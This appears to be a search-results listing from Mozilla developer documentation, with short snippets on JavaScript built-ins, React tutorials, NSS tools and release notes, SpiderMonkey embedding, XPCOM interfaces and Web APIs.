this application should allow users to do things like render a list of tasks, add a new task, and delete a task; and it must do this while reliably tracking and updating the data underlying the application.
...we can iterate over the data to render it; we can add to an object to make a new task; we can use an identifier to find, edit, or delete a task.
...they don't bring brand-new powers to javascript; they give you easier access to javascript's powers so you can build for today's web.
...And 10 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
it’ll be similar to deletetask() because it'll take an id to find its target object, but it'll also take a newname property containing the name to update the task to.
... we'll use array.prototype.map() instead of array.prototype.filter() because we want to return a new array with some changes, instead of deleting something from the array.
... add the edittask() function inside your app component, in the same place as the other functions: function edittask(id, newname) { const editedtasklist = tasks.map(task => { // if this task has the same id as the edited task if (id === task.id) { // return {...task, name: newname} } return task; }); settasks(editedtasklist); } pass edittask into our <todo /> components as a prop in the same way we did with deletetask: const tasklist = tasks.map(task => ( <todo id={task.id} name={task.name} completed={task.completed} key={task.id} toggletaskcompleted={toggletaskcompleted} deletetask={deletetask} edittask={edittask} /> )); now open todo.js.
...And 10 more matches
Introduction to automated testing - Learn web development
create a new directory somewhere sensible using your file manager ui, or, on a command line, by navigating to the location you want and running the following command: mkdir node-test to make this directory an npm project, you just need to go inside your test directory and initialize it, with the following: cd node-test npm init this second command will ask you many questions to find out the informat...
... first, install gulp globally (meaning, it will be available across all projects) using the following command: npm install --global gulp-cli next, run the following command inside your npm project directory root to set up gulp as a dependency of your project: npm install --save-dev gulp now create a new file inside your project directory called gulpfile.js.
... babel to transpile any new javascript syntax features to traditional syntax that works in older browsers (see gulp-babel).
...And 10 more matches
Deploying our app - Learn web development
note: cache busting is a new term that we haven't met before in the module.
... this is the strategy of breaking a browser's own caching mechanism, which forces the browser to download a new copy of your code.
... parcel (and indeed many other tools) will generate filenames that are unique to each new build.
...And 10 more matches
gtstd.html
create a new certificate database in the ca_db directory.
... setting up the server db and certificate the sections that follow describe how to set up the server db and certificate: create a new certificate database in the server_db directory.
... >mkdir server_db >certutil -n -d server_db import the new ca certificate into the server's certificate database, and mark it trusted for issuing certificates for ssl client and server authentication.
...And 10 more matches
JS_DefineObject
syntax jsobject * js_defineobject(jscontext *cx, js::handleobject obj, const char *name, const jsclass *clasp = nullptr, unsigned attrs = 0); name type description cx jscontext * the context in which to create the new object.
... obj js::handleobject object to which this new object belongs as a property.
... name const char * name of the property being defined in obj to hold the new object.
...And 10 more matches
Shell global objects
roperties: isrunonce use the isrunonce compiler option (default: false) noscriptrval use the no-script-rval compiler option (default: false) filename filename for error messages and debug info linenumber starting line number for error messages and debug info columnnumber starting column number for error messages and debug info global global in which to execute the code newcontext if true, create and use a new cx (default: false) catchtermination if true, catch termination (failure without an exception value, as for slow scripts or out-of-memory) and return 'terminated' element if present with value v, convert v to an object o and mark the source as being attached to the dom element o.
... putstr([exp]) evaluate and print expression without newline.
...if (s == '' && !o) return new o with eager standard classes, if (s == 'lazy' && !o) return new o with lazy standard classes evalinworker(str) evaluate str in a separate thread with its own runtime.
...And 10 more matches
Places utilities for JavaScript
[optional] expandqueries true to make query items expand as new containers.
... [optional] atitle the default title for the new bookmark.
... [optional] adescription the default description for the new bookmark [optional] adefaultinsertionpoint the default insertion point for the new item.
...And 10 more matches
Building the WebLock UI
in the following chapter we'll describe how you can take these files and create a package, an installable archive that includes the weblock component and the new ui.
...the third section, overlaying new user interface into mozilla, describes how to create an overlay into the browser that will make this dialog accessible from a mozilla build.
...as you can see, weblock is initialized as a global javascript variable, available in the scope of these functions and others: var weblock = components.classes["@dougt/weblock"] .getservice() .queryinterface(components.interfaces.iweblock); in addition to this basic setup, you must also write javascript that uses the addsite method to add new sites to the white list.
...And 10 more matches
Introduction to XPCOM for the DOM
a tutorial about how to add a new interface is also provided, and eventually, a more detailed discussion of class inheritance in c++.
... an instance of a class (called an object) can be allocated dynamically (on the heap, or free store), using the syntax nsfoo *fooptr = new nsfoo; that object can then be manipulated only through fooptr.
...the bad thing is that we have to find a way to improve those interfaces, and freezing them obliges implementers to create new interfaces.
...And 10 more matches
nsIMsgDatabase
mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a summary to this article.
...); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforcecommit); void commit(in nsmsgdbcommit committype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey key); void addnewhdrtodb(in nsimsgdbhdr newhdr, in boolean notify); nsimsgdbhdr copyhdrfromexistinghdr(in nsmsgkey key, in nsimsgdbhdr existinghdr, in boolean addhdrtodb); void listallkeys(in nsmsgkeyarrayref outputkeys); native code only!
..., in nsidbchangelistener instigator); void setlabel(in nsmsgkey key, in nsmsglabelvalue label); void setstringproperty(in nsmsgkey akey, in string aproperty, in string avalue); void markimapdeleted(in nsmsgkey key, in boolean deleted, in nsidbchangelistener instigator); void applyretentionsettings(in nsimsgretentionsettings amsgretentionsettings, in boolean adeleteviafolder); boolean hasnew(); void clearnewlist(in boolean notify); void addtonewlist(in nsmsgkey key); void startbatch(); void endbatch(); nsimsgofflineimapoperation getofflineopforkey(in nsmsgkey messagekey, in boolean create); void removeofflineop(in nsimsgofflineimapoperation op); nsisimpleenumerator enumerateofflineops(); void listallofflineopids(in nsmsgkeyarrayptr offlineopids); native code only!
...And 10 more matches
nsIScriptableIO
need to get a reference as with other components: var scriptableio = components.classes["@mozilla.org/io/scriptable-io;1"] .getservice(); scriptableio.getfile("profile", "cookies.txt"); method overview nsifile getfile(in astring alocation, in astring afilename); nsifile getfilewithpath(in astring afilepath); nsisupports newinputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize); nsisupports newoutputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize, [optional] in unsigned long apermissions); ...
... nsiuri newuri(in nsivariant auri); methods getfile() retrieves a reference to a file or directory on disk.
... the file does not have to exist already; this method simply creates the file reference which may then be passed to the newinputstream() or newoutputstream() method to open the file for reading or writing.
...And 10 more matches
Initialization and Destruction - Plugins
instance creation: the browser calls the plug-in api function npp_new when the instance is created.
... during initialization, when the browser encounters data of a mime type registered for a plug-in (either embedded in an html page or in a separate file), it loads the plug-in code into memory (if it hasn't been loaded already) and creates a new instance of the plug-in.
... plug-in instances are created with npp_new and destroyed with npp_destroy.
...And 10 more matches
RTCPeerConnection.addTrack() - Web APIs
the rtcpeerconnection method addtrack() adds a new media track to the set of tracks which will be transmitted to the other peer.
...the ontrack handler might look like this: let inboundstream = null; pc.ontrack = ev => { if (ev.streams && ev.streams[0]) { videoelem.srcobject = ev.streams[0]; } else { if (!inboundstream) { inboundstream = new mediastream(); videoelem.srcobject = inboundstream; } inboundstream.addtrack(ev.track); } } here, the track event handler adds the track to the first stream specified by the event, if a stream is specified.
... otherwise, the first time ontrack is called, a new stream is created and attached to the video element, and then the track is added to the new stream.
...And 10 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
you may use anything in the text header except newlines or the string "-->".
... a blank line, which is equivalent to two consecutive newlines.
...comments may contain newlines but cannot contain a blank line, which is equivalent to two consecutive newlines.
...And 10 more matches
Migrating from webkitAudioContext - Web APIs
new engines implementing the web audio spec (such as gecko) will only implement the official, final version of the specification, which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not immediately work out of the box in a compliant web audio implementation.
... if your code uses either of these names, like in the example below : // old method names var gain = context.creategainnode(); var delay = context.createdelaynode(); var js = context.createjavascriptnode(1024); you can simply rename the methods to look like this: // new method names var gain = context.creategain(); var delay = context.createdelay(); var js = context.createscriptprocessor(1024); the semantics of these methods remain the same in the renamed versions.
... (audiobuffersourcenode has yet another way of starting output: the notegrainon() method.) the noteon()/notegrainon()/noteoff() methods were the original way to start/stop output in these nodes, and in the newer versions of the specification, the noteon() and notegrainon() methods were consolidated into a single start() method, and the noteoff() method was renamed to the stop() method.
...And 10 more matches
Window: popstate event - Web APIs
if the goal is to catch the moment when the new document state is already fully in place, a zero-delay settimeout() method call should be used to effectively put its inner callback function that does the processing at the end of the browser event loop: window.onpopstate = () => settimeout(dosomething, 0); when popstate is sent when the transition occurs, either due to the user triggering the browser's "back" button or otherwise, the popstat...
...e event is near the end of the process to transition to the new location.
... it happens after the new location has loaded (if needed), displayed, made visible, and so on, after the pageshow event is sent, but before the persisted user state information is restored and the hashchange event is sent.
...And 10 more matches
Array.prototype.slice() - JavaScript
the slice() method returns a shallow copy of a portion of an array into a new array object selected from start to end (end not included) where start and end represent the index of items in that array.
... return value a new array containing the extracted elements.
...elements of the original array are copied into the returned array as follows: for object references (and not the actual object), slice copies object references into the new array.
...And 10 more matches
Map - JavaScript
therefore, this appears to work in a way: let wrongmap = new map() wrongmap['bla'] = 'blaa' wrongmap['bla2'] = 'blaaa2' console.log(wrongmap) // map { bla: 'blaa', bla2: 'blaaa2' } but that way of setting a property does not interact with the map data structure.
... let contacts = new map() contacts.set('jessie', {phone: "213-555-1234", address: "123 n 1st ave"}) contacts.has('jessie') // true contacts.get('hilary') // undefined contacts.set('hilary', {phone: "617-555-4321", address: "321 s 2nd st"}) contacts.get('jessie') // {phone: "213-555-1234", address: "123 n 1st ave"} contacts.delete('raymond') // false contacts.delete('jessie') // true console.log(contacts.size) // 1 constructor map() creates a n...
... iteration methods map.prototype[@@iterator]() returns a new iterator object that contains an array of [key, value] for each element in the map object in insertion order.
...And 10 more matches
String.prototype.replace() - JavaScript
the replace() method returns a new string with some or all matches of a pattern replaced by a replacement.
... syntax const newstr = str.replace(regexp|substr, newsubstr|function) parameters regexp (pattern) a regexp object or literal.
... the match or matches are replaced with newsubstr or the value returned by the specified function.
...And 10 more matches
JavaScript Client API - Archive of obsolete content
to create a custom sync engine to synchronize a new data you, you'll need to define an engine object that extends the base syncengine object.
...the majority of the code you write for syncing a new data type will most likely be in the store implementation.
... in this case, it is highly recommended to use the utils.makeguid() helper to generate new guids: let newguid = utils.makeguid(); your store object must implement the following methods: itemexists(id) createrecord(id, collection) changeitemid(oldid, newid) getallids() wipe() create(record) update(record) remove(record) you may also find it useful to override other methods of the base implementation, for example applyincomingbatch if the underlying storage for your data s...
...And 9 more matches
Reading from Files - Archive of obsolete content
to create an input stream, first get a reference to a nsifile, and then use nsiscriptableio.newinputstream() to open a stream for reading from it.
...var file = io.getfile("home", "sample.txt"); var stream = io.newinputstream(file, "text"); this example first retrieves a file object using nsiscriptableio.getfile().
...next, nsiscriptableio.newinputstream() is called to create a new input stream for reading from the file.
...And 9 more matches
Graceful asynchronous programming with Promises - Learn web development
previous overview: asynchronous next promises are a comparatively new feature of the javascript language that allow you to defer further actions until after a previous action has completed, or respond to its failure.
...we're able to chain multiple asynchronous actions to occur one after another this way because each .then() block returns a new promise that resolves when the .then() block is done running.
... let promise2 = promise.then(response => { if (!response.ok) { throw new error(`http error!
...And 9 more matches
Third-party APIs - Learn web development
for example: const audioctx = new audiocontext(); ...
...for example: let map = l.mapquest.map('map', { center: [53.480759, -2.242631], layers: l.mapquest.tilelayer('map'), zoom: 12 }); here we are creating a variable to store the map information in, then creating a new map using the mapquest.map() method, which takes as its parameters the id of a <div> element you want to display the map in ('map'), and an options object containing the details of the particular map we want to display.
... to start this section, make yourself a copy of the mapquest starter file, in a new directory.
...And 9 more matches
Creating Sandboxed HTTP Connections
to create an nsiuri from an string, we use the newuri method of nsiioservice: // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); once the nsiuri has been created, a nsichannel can be generated from it using nsiioservice's newchannelfromuri method: // get a ch...
...annel for that nsiuri var channel = ioservice.newchannelfromuri(uri); to initiate the connection, the asyncopen method is called.
... onstartrequest - gets called when a new request is initiated.
...And 9 more matches
Localization sign-off reviews
only evaluates new l10n work.
... this is done by generating a diff between the new release revision being considered and the previously approved release revision.
... evaluates new release revisions, not entire l10n repos.
...And 9 more matches
An overview of NSS Internals
it will detect and open an existing database, or it can create a new one.
...usually, nss will flush all data to disk as soon as new data has been added to permanent storage.
...the file could be named secmod.db, but in newer database generations a file named pkcs11.txt is used.
...And 9 more matches
NSS 3.24 release notes
nss 3.24 requires netscape portable runtime (nspr) 4.12 or newer.
... nss 3.24 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_24_rtm/src/ new in nss 3.24 nss 3.24 includes two nss softoken updates, a new function to configure ssl/tls server sockets, and two functions to improve the use of temporary arenas.
... new functionality nss softoken has been updated with the latest national institute of standards and technology (nist) guidance (as of 2015): software integrity checks and post functions are executed on shared library load.
...And 9 more matches
NSS 3.35 release notes
nss 3.35 requires nspr 4.18, or newer.
... nss 3.35 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_35_rtm/src/ new in nss 3.35 new functionality tls 1.3 support has been updated to draft -23.
... new types in sslt.h sslhandshaketype - the type of a tls handshake message.
...And 9 more matches
PKCS11 Implement
general-purpose functions c_initialize the nss calls c_initialize on startup or when it loads a new module.
... c_getfunctionlist the nss calls c_getfunctionlist on startup or when it loads a new module.
... c_getinfo the nss calls c_getinfo on startup or when it loads a new module.
...And 9 more matches
NSS tools : modutil
use this option with the -pwfile and -newpwfile arguments.
... -create create new certificate, key, and module databases.
... -jar jar-file add a new pkcs #11 module to the database using the named jar file.
...And 9 more matches
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
use this option with the -pwfile and -newpwfile arguments.
... -create create new certificate, key, and module databases.
... -jar jar-file add a new pkcs #11 module to the database using the named jar file.
...And 9 more matches
How to embed the JavaScript engine
*/ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, }; int main(int argc, const char *argv[]) { jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
... jsautorequest ar(cx); // in practice, you would want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+new date()"; const char *filename = "noname"; int lineno = 1; bool ok = js_evaluatescript(cx, global, script, strlen(script), filename, lineno, rval.address()); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); ...
...*/ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, nullptr, nullptr, nullptr, nullptr, js_globalobjecttracehook }; int main(int argc, const char *argv[]) { js_init(); jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
...And 9 more matches
JSClass
a c/c++ program can use a jsclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++.
... addproperty jspropertyop a hook called just after adding a new property.
... may modify the new property value.
...And 9 more matches
JS_InitClass
once js_initclass creates the new class's constructor, it stores the constructor as a property in this object.
... so, for example, if this object is js_getglobalobject(cx), then javascript code will be able to see the new class as a global name.
...js_initclass always creates a new prototype object that serves as the __proto__ for class instances; parent_proto becomes the __proto__ of that prototype object.
...And 9 more matches
SpiderMonkey 31
it also contains new language and api features described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... migrating to spidermonkey 31 the first change most embedders will notice is that spidermonkey must now be initialized before it can be used, using the newly-repurposed js_init method.
...And 9 more matches
Web Replay
open a new tab in recording mode click the 'tools -> web developer -> web replay -> reload and record tab' menu item.
... open a saved recording in a new tab click the 'tools -> web developer -> web replay -> open new recording tab' menu item to open a new blank tab that is recorded.
... clicking the 'tools -> web developer -> web replay -> load recording in new tab' menu item will start a new tab which replays the recording to the end.
...And 9 more matches
Using the Places history service
when the user starts browsing (for example, by typing in a link or following a bookmark), a new session id is created.
... new visits get the same session id as their referrer.
... this means that one "session" is comprised of going to a new page, and following a bunch of links or redirects.
...And 9 more matches
nsIChannelEventSink
method overview void asynconchannelredirect(in nsichannel oldchannel, in nsichannel newchannel, in unsigned long flags, in nsiasyncverifyredirectcallback callback); void onchannelredirect(in nsichannel oldchannel, in nsichannel newchannel, in unsigned long flags); obsolete since gecko 2.0 constants constant value description redirect_temporary 1 << 0 this is a temporary redirect.
... new requests for this resource should continue to use the uri of the old channel.
... the new uri may be identical to the old one.
...And 9 more matches
nsIMsgIncomingServer
nsimsgincomingserver mailnews/base/public/nsimsgincomingserver.idlscriptable ???
...ring attr); acstring getcharattribute(in string name); acstring getcharvalue(in string attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsimsgfilterlist getfilterlist(in nsimsgwindow amsgwindow); long getintattribute(in string name); long getintvalue(in string attr); nsimsgfolder getmsgfolderfromuri(in nsimsgfolder afolderresource, in acstring auri); void getnewmessages(in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean isnewhdrduplicate(in nsimsgdbhdr anewhdr); void onuserorhostnamechang...
...ed(in acstring oldname, in acstring newname); void performbiff(in nsimsgwindow amsgwindow); void performexpand(in nsimsgwindow amsgwindow); void removefiles(); void setboolattribute(in string name, in boolean value); void setboolvalue(in string attr, in boolean value); void setcharattribute(in string name, in acstring value); void setcharvalue(in string attr, in acstring value); void setdefaultlocalpath(in nsilocalfile adefaultlocalpath); void setfilevalue(in string relpref, in string abspref, in nsilocalfile avalue); void setfilterlist(in nsimsgfilterlist afilterlist); void setintattribute(in string name, in long value); void setintvalue(in string attr, in long value); void setunicharattribute(in string name, in astring value); void setunicharvalue(in string attr,...
...And 9 more matches
nsINavHistoryService
sfollowedbookmark(in nsiuri auri); void markpageasfollowedlink(in nsiuri auri); void markpageastyped(in nsiuri auri); boolean canadduri(in nsiuri auri); long long addvisit(in nsiuri auri, in prtime atime, in nsiuri areferringuri, in long atransitiontype, in boolean aisredirect, in long long asessionid); obsolete since gecko 22.0 nsinavhistoryquery getnewquery(); nsinavhistoryqueryoptions getnewqueryoptions(); nsinavhistoryresult executequery(in nsinavhistoryquery aquery, in nsinavhistoryqueryoptions options); nsinavhistoryresult executequeries([array,size_is(aquerycount)] in nsinavhistoryquery aqueries, in unsigned long aquerycount, in nsinavhistoryqueryoptions options); void querystringtoqueries(in autf8string...
... constants transition type constants constant value description transition_link 1 this transition type means the user followed a link and got a new toplevel window.
...you should use the new async api moziasynchistory.updateplaces() instead.
...And 9 more matches
nsIProfile
method overview void cloneprofile(in wstring profilename); void createnewprofile(in wstring profilename, in wstring nativeprofiledir, in wstring langcode, in boolean useexistingdir); void deleteprofile(in wstring name, in boolean candeletefiles); void getprofilelist(out unsigned long length, [retval, array, size_is(length)] out wstring profilenames); boolean profileexists(in wstring profilename); void renameprofile(in wstring oldname...
..., in wstring newname); void shutdowncurrentprofile(in unsigned long shutdowntype); attributes attribute type description currentprofile wstring the name of the profile currently in use.
...unimplemented methods cloneprofile() clones the current profile, creating a copy of it with a new name.
...And 9 more matches
Add to iPhoto
in c, the declaration looks like this: typedef struct { cfindex location; cfindex length; } cfrange; to declare this for use with js-ctypes, we use the following code: this.cfrange = new ctypes.structtype("cfrange", [ {'location': ctypes.int32_t}, {'length': ctypes.int32_t}]); this defines corefoundation.cfrange to represent this data type, comprised of two 32-bit integer fields called location and length.
... this.cfstringref = new ctypes.pointertype("cfstringref"); now that we've declared the core type, we can declare the methods we use that work with cfstring objects.
... this.cfstringcreatewithcharacters = this.lib.declare("cfstringcreatewithcharacters", ctypes.default_abi, this.cfstringref, // returns a new cfstringref ctypes.voidptr_t, // allocator ctypes.jschar.ptr, // pointer to the unicode string ctypes.int32_t); // length of the string cfstringcreatewithcharacters() is used to create a new cfstring object using a unicode string as the source string, which is copied into the new cfstring object.
...And 9 more matches
Debugger - Firefox Developer Tools
the debugger object when called as a constructor, the debugger object creates a new debugger instance.
... new debugger([global, …]) create a debugger object, and apply its adddebuggee method to each of the givenglobal objects to add them as the initial debuggees.
... if the uncaught exception hook itself throws an exception,uncaught-hook-exception, spidermonkey throws a new error object,confess-to-debuggee-exception, to the debuggee whose message blames the debugger, and includes textual descriptions ofuncaught-hook-exception and the originaldebugger-exception.
...And 9 more matches
Debugger.Object - Firefox Developer Tools
while most debugger.object instances are created by spidermonkey in the process of exposing debuggee's behavior and state to the debugger, the debugger can use debugger.object.prototype.makedebuggeevalue to create debugger.object instances for given debuggee objects, or use debugger.object.prototype.copy and debugger.object.prototype.create to create new objects in debuggee compartments, allocated as if by particular debuggee globals.
... accessor properties of the debugger.object prototype a debugger.object instance inherits the following accessor properties from its prototype: proto the referent's prototype (as a new debugger.object instance), or null if it has no prototype.
... proxyconstructtrap if the referent is a function proxy whose handler object was allocated by debuggee code, its construction trap function—the function called when the function proxy is called via a new expression.
...And 9 more matches
EventTarget.addEventListener() - Web APIs
html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the content of t2 function modifytext(new_text) { const t2 = document.getelementbyid("t2"); t2.firstchild.nodevalue = new_text; } // function to add event listener to table const el = document.getelementbyid("outside"); el.addeventlistener("click", function(){modifytext("four")}, false); notice that the listener is an anonymous function that encapsulates code that is then, in turn, able to send parameters to the modifytext() funct...
... html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the content of t2 function modifytext(new_text) { const t2 = document.getelementbyid("t2"); t2.firstchild.nodevalue = new_text; } // add event listener to table with an arrow function const el = document.getelementbyid("outside"); el.addeventlistener("click", () => { modifytext("four"); }, false); result please note that while anonymous and arrow functions are similar, they have different this bindings.
...ge html <div class="outer"> outer, once & none-once <div class="middle" target="_blank"> middle, capture & none-capture <a class="inner1" href="https://www.mozilla.org" target="_blank"> inner1, passive & preventdefault(which is not allowed) </a> <a class="inner2" href="https://developer.mozilla.org/" target="_blank"> inner2, none-passive & preventdefault(not open new page) </a> </div> </div> css .outer, .middle, .inner1, .inner2 { display: block; width: 520px; padding: 15px; margin: 15px; text-decoration: none; } .outer { border: 1px solid red; color: red; } .middle { border: 1px solid green; color: green; width: 460px; } .inner1, .inner2 { border: 1px solid purple; color: purple; width: 400px; } javascript const ...
...And 9 more matches
Node.insertBefore() - Web APIs
WebAPINodeinsertBefore
if the given node already exists in the document, insertbefore() moves it from its current position to the new position.
... (that is, it will automatically be removed from its existing parent before appending it to the specified new parent.) this means that a node cannot be in two locations of the document simultaneously.
... note: the node.clonenode() can be used to make a copy of the node before appending it under the new parent.
...And 9 more matches
Array.prototype.map() - JavaScript
the map() method creates a new array populated with the results of calling a provided function on every element in the calling array.
... syntax let new_array = arr.map(function callback( currentvalue[, index[, array]]) { // return element for new_array }[, thisarg]) parameters callback function that is called for every element of arr.
... each time callback executes, the returned value is added to new_array.
...And 9 more matches
BigInt64Array - JavaScript
constructor bigint64array() creates a new bigint64array object.
... static methods bigint64array.from() creates a new bigint64array from an array-like or iterable object.
... bigint64array.of() creates a new bigint64array with a variable number of arguments.
...And 9 more matches
BigUint64Array - JavaScript
constructor biguint64array() creates a new biguint64array object.
... static methods biguint64array.from() creates a new biguint64array from an array-like or iterable object.
... biguint64array.of() creates a new biguint64array with a variable number of arguments.
...And 9 more matches
Float32Array - JavaScript
constructor float32array() creates a new float32array object.
... static methods float32array.from() creates a new float32array from an array-like or iterable object.
... float32array.of() creates a new float32array with a variable number of arguments.
...And 9 more matches
Float64Array - JavaScript
constructor float64array() creates a new float64array object.
... static methods float64array.from() creates a new float64array from an array-like or iterable object.
... float64array.of() creates a new float64array with a variable number of arguments.
...And 9 more matches
Int16Array - JavaScript
constructor int16array() creates a new int16array object.
... static methods int16array.from() creates a new int16array from an array-like or iterable object.
... int16array.of() creates a new int16array with a variable number of arguments.
...And 9 more matches
Int32Array - JavaScript
constructor int32array() creates a new int32array object.
... static methods int32array.from() creates a new int32array from an array-like or iterable object.
... int32array.of() creates a new int32array with a variable number of arguments.
...And 9 more matches
Int8Array - JavaScript
constructor int8array() creates a new int8array object.
... static methods int8array.from() creates a new int8array from an array-like or iterable object.
... int8array.of() creates a new int8array with a variable number of arguments.
...And 9 more matches
Object.defineProperty() - JavaScript
the static method object.defineproperty() defines a new property directly on an object, or modifies an existing property on an object, and returns the object.
... creating a property when the property specified doesn't exist in the object, object.defineproperty() creates a new property as described.
... var o = {}; // creates a new object // example of an object property added // with defineproperty with a data property descriptor object.defineproperty(o, 'a', { value: 37, writable: true, enumerable: true, configurable: true }); // 'a' property exists in the o object and its value is 37 // example of an object property added // with defineproperty with an accessor property descriptor var bvalue = 38; object.defineproperty(o, 'b', { // using shorthand method names (es2015 feature).
...And 9 more matches
handler.construct() - JavaScript
the handler.construct() method is a trap for the new operator.
... in order for the new operation to be valid on the resulting proxy object, the target used to initialize the proxy must itself have a [[construct]] internal method (i.e.
... new target must be valid).
...And 9 more matches
Reflect.construct() - JavaScript
the static reflect.construct() method acts like the new operator, but as a function.
... it is equivalent to calling new target(...args).
... syntax reflect.construct(target, argumentslist[, newtarget]) parameters target the target function to call.
...And 9 more matches
String - JavaScript
creating strings strings can be created as primitives, from string literals, or as objects, using the string() constructor: const string1 = "a string primitive"; const string2 = 'also a string primitive'; const string3 = `yet another string primitive`; const string4 = new string("a string object"); string primitives and string objects can be used interchangeably in most situations.
...(the same is true of boolean and numbers.) string literals (denoted by double or single quotes) and strings returned from string calls in a non-constructor context (that is, called without using the new keyword) are primitive strings.
... let s_prim = 'foo' let s_obj = new string(s_prim) console.log(typeof s_prim) // logs "string" console.log(typeof s_obj) // logs "object" string primitives and string objects also give different results when using eval().
...And 9 more matches
Uint16Array - JavaScript
constructor uint16array() creates a new uint16array object.
... static methods uint16array.from() creates a new uint16array from an array-like or iterable object.
... uint16array.of() creates a new uint16array with a variable number of arguments.
...And 9 more matches
Uint32Array - JavaScript
constructor uint32array() creates a new uint32array object.
... static methods uint32array.from() creates a new uint32array from an array-like or iterable object.
... uint32array.of() creates a new uint32array with a variable number of arguments.
...And 9 more matches
Uint8Array - JavaScript
constructor uint8array() creates a new uint8array object.
... static methods uint8array.from() creates a new uint8array from an array-like or iterable object.
... uint8array.of() creates a new uint8array with a variable number of arguments.
...And 9 more matches
Uint8ClampedArray - JavaScript
constructor uint8clampedarray() creates a new uint8clampedarray object.
... static methods uint8clampedarray.from() creates a new uint8clampedarray from an array-like or iterable object.
... uint8clampedarray.of() creates a new uint8clampedarray from a variable number of arguments.
...And 9 more matches
Drag and Drop Example - Archive of obsolete content
« previous gecko 1.9.1 (firefox 3.5) and later supports a newer and simpler api.
...a maximum size is also specified so that it doesn't resize when new elements are dragged onto it.
...it will contain three buttons, one to create new buttons, one to create check boxes and the other to create textboxes.
...And 8 more matches
Manifest Files - Archive of obsolete content
that means that all you need to do to install a new package is add a new manifest file either into the application chrome directory or the user specific chrome directory.
... if you just want to try testing privileged xul code in the firefox browser, you can do this easily by just using a manifest with only one line in it: create a new directory somewhere.
... for example, on a windows machine, you might use c:\testfiles create a new ascii1 file called test.manifest in the chrome directory.
...And 8 more matches
Building up a basic demo with Babylon.js - Game development
before reading on, copy this code to a new text file and save it in your working directory as index.html.
...add the following code to the bottom of your second <script> element: var engine = new babylon.engine(canvas); the babylon global object contains all the babylon.js functions available in the engine.
...while creating new objects in the demo, we will be adding them all to the scene to make them visible on the screen.
...And 8 more matches
2D maze game with device orientation - Game development
it’s quite new, but growing rapidly thanks to the passionate community involved in the development process.
...mo</title> <style> body { margin: 0; background: #333; } </style> <script src="src/phaser-arcade-physics.2.2.2.min.js"></script> <script src="src/boot.js"></script> <script src="src/preloader.js"></script> <script src="src/mainmenu.js"></script> <script src="src/howto.js"></script> <script src="src/game.js"></script> </head> <body> <script> (function() { var game = new phaser.game(320, 480, phaser.canvas, 'game'); game.state.add('boot', ball.boot); game.state.add('preloader', ball.preloader); game.state.add('mainmenu', ball.mainmenu); game.state.add('howto', ball.howto); game.state.add('game', ball.game); game.state.start('boot'); })(); </script> </body> </html> so far we have a simple html website with some basic content in the <head> ...
... var game = new phaser.game(320, 480, phaser.canvas, 'game'); the line above will initialize the phaser instance — the arguments are the width of the canvas, height of the canvas, rendering method (we're using canvas, but there are also webgl and auto options available) and the optional id of the dom container we want to put the canvas in.
...And 8 more matches
Positioning - Learn web development
my adjacent block level elements sit on new lines below me.</p> <p class="positioned">by default we span 100% of the width of our parent element, and we are as tall as our child content.
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { ...
...my adjacent block level elements sit on new lines below me.</p> <p class="positioned">by default we span 100% of the width of our parent element, and we are as tall as our child content.
...And 8 more matches
Vue conditional rendering: editing existing todos - Learn web development
in your components directory, create a new file called todoitemeditform.vue.
